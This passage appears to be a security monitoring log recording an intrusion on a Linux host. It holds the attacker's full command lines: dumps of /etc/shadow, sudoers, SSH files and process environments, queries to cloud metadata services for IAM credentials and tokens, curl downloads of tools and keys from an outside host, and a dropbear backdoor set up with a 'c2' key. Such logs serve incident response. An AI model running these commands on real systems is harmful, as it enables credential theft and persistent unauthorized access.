echo "== mounts"; cat /proc/self/mountinfo 2>/dev/null | head -100
echo "== lsblk"; lsblk 2>/dev/null
echo "== partitions"; cat /proc/partitions 2>/dev/null
echo "== du"; for d in /var/www /var/www/html /home /o |
| 2026-10-31 01:18:24 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do print |
| 2026-10-31 01:18:27 | Not attributed | Not attributed | sh -> sh | cat /etc/resolv.conf |
| 2026-10-31 01:18:27 | Not attributed | Not attributed | sh -> sh | cat /etc/hosts |
| 2026-10-31 01:18:27 | Not attributed | Not attributed | sh -> sh | cat /proc/net/udp /proc/net/udp6 |
| 2026-10-31 01:18:27 | Not attributed | Not attributed | sh -> sh | cat /proc/net/arp |
| 2026-10-31 01:18:27 | Not attributed | Not attributed | sh -> sh | cat /proc/net/route |
| 2026-10-31 01:18:27 | Not attributed | Not attributed | sh -> sh | cat /proc/net/tcp /proc/net/tcp6 |
| 2026-10-31 01:18:27 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ ; sh -c
echo "== addresses"; hostname -I 2>/dev/null; ip -br a 2>/dev/null; ifconfig -a 2>/dev/null
echo "== routes"; ip route 2>/dev/null; cat /proc/net/route 2>/dev/null
echo "== arp"; ip neigh 2>/dev/null; cat /proc/net/arp 2>/dev/null
echo "== macs"; for i in /sys/class/net/*; do printf "%s " "${ |
| 2026-10-31 01:18:27 | Not attributed | Not attributed | sh -> sh | hostname -I |
| 2026-10-31 01:18:29 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | curl -sS -o shim.c http://206.245.153.56:8088/tools/j490/shim.c |
| 2026-10-31 01:18:32 | Not attributed | Not attributed | sh -> sh | cat /etc/group |
| 2026-10-31 01:18:32 | Not attributed | Not attributed | sh -> sh | cat /etc/shadow |
| 2026-10-31 01:18:32 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. ; sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /etc/sudoers. |
| 2026-10-31 01:18:32 | Not attributed | Not attributed | sh -> sh | id |
| 2026-10-31 01:18:32 | Not attributed | Not attributed | sh -> sh | cat /etc/passwd |
| 2026-10-31 01:18:32 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== id"; id; echo "== passwd"; cat /etc/passwd 2>/dev/null
echo "== group"; cat /etc/group 2>/dev/null
echo "== shadow"; cat /etc/shadow 2>/dev/null | head -40
echo "== gshadow"; cat /etc/gshadow 2>/dev/null | head -20
echo "== sudoers"; cat /etc/sudoers 2>/dev/null; ls -la /e |
| 2026-10-31 01:18:32 | Not attributed | Not attributed | sh -> sh | ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss |
| 2026-10-31 01:18:32 | Not attributed | Not attributed | sh -> sh | ps auxww |
| 2026-10-31 01:18:32 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro ; sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro ; sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro ; sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load"; cat /pro |
| 2026-10-31 01:18:32 | Not attributed | Not attributed | sh -> sh | ls -la /var/run/*.sock /run/*.sock /var/run/*/*.sock /run/*/*.sock |
| 2026-10-31 01:18:32 | Not attributed | Not attributed | sh -> sh | awk
function nib(c){return index("0123456789ABCDEF", toupper(c))-1}
function h2d(s, i,v){v=0; for(i=1;i<=length(s);i++) v=v*16+nib(substr(s,i,1)); return v}
function ip4(h){return h2d(substr(h,7,2)) "." h2d(substr(h,5,2)) "." h2d(substr(h,3,2)) "." h2d(substr(h,1,2))}
function st(c){if(c==" |
| 2026-10-31 01:18:32 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== ps"; ps auxww 2>/dev/null | head -150
echo "== by rss"; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss 2>/dev/null | head -50
echo "== cmdlines"; for p in /proc/[0-9]*; do printf "%s " "$p"; tr "\0" " " < "$p/cmdline" 2>/dev/null; echo; done | head -250
echo "== load |
| 2026-10-31 01:18:37 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head ; sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head ; sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head ; sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
done | head |
| 2026-10-31 01:18:37 | Not attributed | Not attributed | sh -> sh | cat /root/.ssh/config /home/*/.ssh/config |
| 2026-10-31 01:18:37 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== env"; env | sort
echo "== self environ"; tr "\0" "\n" < /proc/self/environ 2>/dev/null | sort
for p in /proc/[0-9]*; do
e="$p/environ"; [ -r "$e" ] || continue
echo "== $p $(tr "\0" " " < "$p/cmdline" 2>/dev/null | cut -c1-80)"
tr "\0" "\n" < "$e" 2>/dev/null | sort
|
| 2026-10-31 01:18:37 | Not attributed | Not attributed | sh -> sh | ls -la /root/.ssh /home/*/.ssh |
| 2026-10-31 01:18:37 | Not attributed | Not attributed | sh -> sh | w |
| 2026-10-31 01:18:37 | Not attributed | Not attributed | sh -> sh | cat /etc/gshadow |
| 2026-10-31 01:18:37 | Not attributed | Not attributed | sh -> sh | ls -la /etc/sudoers.d |
| 2026-10-31 01:18:37 | Not attributed | Not attributed | sh -> sh | ls -la /root /home |
| 2026-10-31 01:18:37 | Not attributed | Not attributed | sh -> sh | ls -la /root |
| 2026-10-31 01:18:37 | Not attributed | Not attributed | sh -> sh | who |
| 2026-10-31 01:18:42 | Not attributed | Not attributed | sh -> sh | ls -la /etc/default /etc/sysconfig |
| 2026-10-31 01:18:42 | Not attributed | Not attributed | sh -> sh | ls -la /etc/profile.d |
| 2026-10-31 01:18:46 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m ; sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgroup/memory.m |
| 2026-10-31 01:18:46 | Not attributed | Not attributed | sh -> sh | ls -la /.dockerenv /run/.containerenv |
| 2026-10-31 01:18:46 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== markers"; ls -la /.dockerenv /run/.containerenv 2>/dev/null
echo "== cgroup"; cat /proc/1/cgroup /proc/self/cgroup 2>/dev/null
echo "== pid1"; tr "\0" " " < /proc/1/cmdline 2>/dev/null; echo; cat /proc/1/status 2>/dev/null | head -30
echo "== limits"; for f in /sys/fs/cgro |
| 2026-10-31 01:18:46 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" ; sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" ; sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" ; sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
echo "== rpm" |
| 2026-10-31 01:18:46 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== os"; . /etc/os-release 2>/dev/null; echo "$ID $VERSION_ID"
echo "== dpkg"; dpkg-query -W -f="\${Package}\t\${Version}\n" 2>/dev/null | head -400
echo "== dpkg count"; dpkg-query -W -f="\${Package}\n" 2>/dev/null | wc -l
echo "== apk"; apk info -v 2>/dev/null | head -300
ec |
| 2026-10-31 01:18:50 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | ls -l shim.so j490.pub |
| 2026-10-31 01:18:50 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | ls -la .ssh |
| 2026-10-31 01:18:50 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | chmod 700 .ssh |
| 2026-10-31 01:18:50 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | curl -sS -o j490.pub http://206.245.153.56:8088/tools/j490/j490.pub |
| 2026-10-31 01:18:53 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/ |
| 2026-10-31 01:18:53 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-type |
| 2026-10-31 01:18:53 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-id |
| 2026-10-31 01:18:53 | Not attributed | Not attributed | timeout -> timeout | sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- ; sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- ; sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- ; sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do
echo "-- |
| 2026-10-31 01:18:53 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
IMDS=http://169.254.169.254
c(){ curl -sS --max-time 2 "$@" 2>/dev/null; }
echo "== AWS v1 root"; c "$IMDS/latest/meta-data/" | head -60
for p in instance-id instance-type placement/availability-zone local-ipv4 public-ipv4 local-hostname public-hostname security-groups iam/info; do |
| 2026-10-31 01:18:53 | Not attributed | Not attributed | sh -> sh | ls -la /var/run/secrets/kubernetes.io/serviceaccount/ |
| 2026-10-31 01:18:53 | Not attributed | Not attributed | sh -> sh | ls -la /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock /run/crio/crio.sock |
| 2026-10-31 01:18:53 | Not attributed | Not attributed | sh -> sh | ls -la /proc/1/root |
| 2026-10-31 01:18:53 | Not attributed | Not attributed | sh -> sh | ls -la /run/secrets /var/run/secrets |
| 2026-10-31 01:19:00 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-ipv4 |
| 2026-10-31 01:19:00 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/placement/availability-zone |
| 2026-10-31 01:19:00 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-ipv4 |
| 2026-10-31 01:19:05 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-hostname |
| 2026-10-31 01:19:05 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-hostname |
| 2026-10-31 01:19:12 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/security-groups |
| 2026-10-31 01:19:12 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/info |
| 2026-10-31 01:19:17 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/openstack/latest/meta_data.json |
| 2026-10-31 01:19:17 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 -X PUT -H X-aws-ec2-metadata-token-ttl-seconds: 21600 http://169.254.169.254/latest/api/token |
| 2026-10-31 01:19:17 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ |
| 2026-10-31 01:19:18 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | ./r/usr/bin/dropbearconvert openssh dropbear /root/.ssh/c2_ed25519 dk_key |
| 2026-10-31 01:19:18 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | tail -5 /var/tmp/.p/db.log |
| 2026-10-31 01:19:22 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/ |
| 2026-10-31 01:19:22 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/openstack/latest/user_data |
| 2026-10-31 01:19:28 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/opc/v1/instance/ |
| 2026-10-31 01:19:28 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 http://169.254.169.254/metadata/v1/ |
| 2026-10-31 01:19:28 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/project/project-id |
| 2026-10-31 01:19:28 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 -H Metadata: true http://169.254.169.254/metadata/instance?api-version=2021-02-01 |
| 2026-10-31 01:19:28 | Not attributed | Not attributed | sh -> sh | curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token |
| 2026-10-31 01:19:33 | Not attributed | Not attributed | sh -> sh | find /var/www /srv/www -maxdepth 4 ( -iname *openapi* -o -iname *swagger* ) |
| 2026-10-31 01:19:33 | Not attributed | Not attributed | sh -> sh | find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/t1 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot-home* -o -pat |
| 2026-10-31 01:19:33 | Not attributed | Not attributed | sh -> sh | find /var/www /usr/share/nginx /srv/www -name .htaccess -type f |
| 2026-10-31 01:19:33 | Not attributed | Not attributed | sh -> sh | find /var/www -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n |
| 2026-10-31 01:19:33 | Not attributed | Not attributed | sh -> sh | ls -la /etc/apache2/sites-enabled /etc/nginx/sites-enabled /etc/nginx/conf.d |
| 2026-10-31 01:19:33 | Not attributed | Not attributed | sh -> sh | find /var/www/html -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n |
| 2026-10-31 01:19:33 | Not attributed | Not attributed | sh -> sh | ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www |
| 2026-10-31 01:19:33 | Not attributed | Not attributed | timeout -> timeout | sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | ; sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep -E "root | |
| 2026-10-31 01:19:33 | Not attributed | Not attributed | sh -> sh | timeout 40 sh -c
echo "== roots"; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www 2>/dev/null
echo "== apache docs"; apache2ctl -S 2>/dev/null; grep -Rhs "DocumentRoot" /etc/apache2 /etc/httpd 2>/dev/null | head -30
echo "== nginx docs"; nginx -T 2>/dev/null | grep |
| 2026-10-31 01:19:38 | Not attributed | Not attributed | sh -> sh | find /etc/apache2 -type f -size -256k |
| 2026-10-31 01:19:38 | Not attributed | Not attributed | sh -> sh | find /usr/local/etc/php -type f -size -256k |
| 2026-10-31 01:19:38 | Not attributed | Not attributed | sh -> sh | find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/t1 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot-home* -o -pat |
| 2026-10-31 01:19:38 | Not attributed | Not attributed | sh -> sh | find /home -type f -size -256k |
| 2026-10-31 01:19:38 | Not attributed | Not attributed | sh -> sh | find /var/www /home /opt /srv /etc /root /tmp /run/secrets /usr/local/etc /var/lib/php -xdev ( -path /tmp/t1 -o -path */vendor/* -o -path */node_modules/* -o -path */.git/* -o -path /tmp/collect-* -o -path /tmp/deep-* -o -path /tmp/recon-* -o -path /tmp/.loot-tools* -o -path /tmp/.loot-home* -o -pat |
| 2026-10-31 01:19:53 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | ls -l dk_key |
| 2026-10-31 01:19:53 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | curl -sS -o j490.key http://206.245.153.56:8088/tools/j490/j490.key |
| 2026-10-31 01:20:14 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | ls -l dk_key |
| 2026-10-31 01:20:31 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | bash -> bash | tail -6 /var/tmp/.p/db.log |
| 2026-10-31 01:20:44 | 23.234.81.67, 206.245.153.56 | 206.245.153.56: 01:11:05 to 01:11:35 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:59:03 to 01:01:04 UTC, 1 POST to /, 0.1 MB sent; 23.234.81.67: 00:59:51 to 01:00:54 UTC, 1 POST to /, 0.1 MB sent; 206.245.153.56: 00:47:00 to 00:50:45 UTC, 1 POST to /, 0.1 MB sent | dropbear -> dropbear | bash -c /bin/bash -l ; /bin/bash -l ; id -u ; run-parts --list --regex ^[a-zA-Z0-9_][a-zA-Z0-9._-]*\.sh$ /etc/profile.d |
